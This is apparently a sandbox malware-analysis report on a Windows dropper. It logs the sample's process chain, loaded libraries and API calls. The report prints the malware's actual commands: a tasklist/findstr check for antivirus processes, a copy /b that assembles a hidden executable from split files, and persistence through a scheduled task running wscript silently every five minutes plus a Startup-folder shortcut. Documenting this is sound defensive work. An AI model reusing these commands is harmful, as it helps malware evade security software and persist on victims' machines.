Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Hazards Hazards.cmd && Hazards.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 33988	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "EmergencyAdaptedResearchOrdinaryHeatherSuspendedHospitalsScanner" Cancer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Oe + ..\Increases + ..\Independently + ..\Devon + ..\Hotels + ..\Automobile + ..\Albany + ..\Georgia + ..\Guess + ..\Funeral w	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\33988\Paintball.com Paintball.com w	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & echo URL="C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"	Jump to behavior

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: sXpIsdpkzy.exe

Static file information: File size 1304754 > 1048576

Source: sXpIsdpkzy.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: sXpIsdpkzy.exe

Static PE information: real checksum: 0x143b45 should be: 0x1435f8

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FB8B75 push ecx; ret

19_2_00FB8B88

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\33988\Paintball.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	File created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\33988\Paintball.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	File created: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_010159B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		19_2_010159B3
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FA5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		19_2_00FA5EDA

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

Code function: 19_2_00FB33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

19_2_00FB33B7

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33988\Paintball.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr

API coverage: 4.9 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\sXpIsdpkzy.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00FF4005
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00FFC2FF
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FF494A GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00FF494A
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	19_2_00FFCD9F
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFCD14 FindFirstFileW,FindClose,	19_2_00FFCD14
Source: C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr	Code function: 19_2_00FFF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00FFF5D8
